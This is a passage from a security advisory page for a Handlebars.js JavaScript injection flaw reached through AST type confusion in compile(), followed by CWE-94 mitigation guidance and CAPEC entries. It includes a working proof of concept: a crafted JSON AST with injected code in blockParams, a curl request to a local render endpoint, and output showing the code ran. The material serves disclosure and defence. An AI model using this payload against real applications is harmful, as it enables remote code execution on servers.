\"type\": \"PathExpression\", \"data\": false, \"depth\": 0,\n          \"parts\": [\"missingHelper\"], \"original\": \"missingHelper\",\n          \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } }\n        },\n        \"params\": [],\n        \"program\": {\n          \"type\": \"Program\",\n          \"blockParams\": {\n            \"length\": \"(()=\u003e{throw new Error(\u0027Injected code ran as uid \u0027 + process.getuid())})()\"\n          },\n          \"body\": [],\n          \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } }\n        },\n        \"openStrip\": { \"open\": false, \"close\": false },\n        \"inverseStrip\": { \"open\": false, \"close\": false },\n        \"closeStrip\": { \"open\": false, \"close\": false },\n        \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } }\n      }\n    ]\n  }\n}\n```\n\n3. Send the request:\n\n```sh\ncurl -s -X POST \u0027http://127.0.0.1:2123/api/render\u0027 \\\n     -H \u0027Content-Type: application/json\u0027 --data-binary @poc.json\n```\n\nThe server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:\n\n```\nError: Injected code ran as uid 1000\n```\n\n## Impact\n\nAn application is affected if untrusted input can reach `Handlebars.compile()` or `Handlebars.precompile()` as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to `compile()`.\n\n- **`compile()`**: arbitrary JavaScript runs in the Node.js process with the application\u0027s privileges (remote code execution).\n- **`precompile()`**: the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users\u0027 browsers.\n\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a  `string`, never a plain object or JSON-deserialized value.\n  ```javascript\n  if (typeof templateInput !== \u0027string\u0027) {\n    throw new TypeError(\u0027Template must be a string\u0027);\n  }\n  ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are  pre-compiled at build time; `compile()` will be unavailable.\n\n## Credits\n\n### Variant `Program.blockParams`\n- [Nick Mykhailyshyn - @whoareme](https://x.com/whoareme33)\n- [jmoritzc53 ](https://github.com/jmoritzc53)\n- [bhaswanthc ](https://github.com/bhaswanthc)\n- [dinhvaren ](https://github.com/dinhvaren)\n- [n0tra4e ](https://github.com/n0tra4e) \n- [PellaML](https://github.com/PellaML)\n- [kustundag](https://github.com/kustundag)\n- [kagebunsher](https://github.com/kagebunsher)\n- [sanmatte](https://github.com/sanmatte)\n\n### Variant `BooleanLiteral|NumberLiteral.value`\n\n- [sondt99 ](https://github.com/sondt99) Thai Son Dinh from VinSOC Labs (R\u0026D)\n- [Ahmed-Elmahgob ](https://github.com/Ahmed-Elmahgob)\n- [nikolakojic-rasit ](https://github.com/nikolakojic-rasit)\n- [vk-can](https://github.com/vk-can)\n- [shenhuanageshei](https://github.com/shenhuanageshei)\n- [kustundag](https://github.com/kustundag)\n- [kagebunsher](https://github.com/kagebunsher)\n- [ffasterss](https://github.com/ffasterss)\n\n### Variant `PathExpression.depth`\n\n- [hibrian827](https://github.com/hibrian827) Team Atlanta\n- [oss-security-shopify](https://github.com/oss-security-shopify)",
  "id": "GHSA-8r5x-fm3f-whwj",
  "modified": "2026-10-08T17:52:33Z",
  "published": "2026-10-08T17:52:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-8r5x-fm3f-whwj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106446"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/pull/2185"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/703fdcc5fd6cc8d1cc0c33cc19de40c467c4b8d2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)"
}

Mitigation

Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation

Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.

Mitigation MIT-5

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().

Mitigation

Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32

Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32

Operation

Strategy: Environment Hardening

Mitigation

Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

← Back to the CWE list

CWE-94

Improper Control of Generation of Code ('Code Injection')

Summary

Affected

Details

PoC (as reported)

Impact

Remediation

Hardening recommendations for operators

Summary

Details

Proof of Concept

Impact

Workarounds

Credits

Variant Program.blockParams

Variant BooleanLiteral|NumberLiteral.value

Variant PathExpression.depth

Mitigation

Mitigation

Mitigation MIT-5

Mitigation

Mitigation MIT-32

Mitigation MIT-32

Mitigation

CAPEC-242: Code Injection

CAPEC-35: Leverage Executable Code in Non-Executable Files

CAPEC-77: Manipulating User-Controlled Variables

Variant `Program.blockParams`

Variant `BooleanLiteral|NumberLiteral.value`

Variant `PathExpression.depth`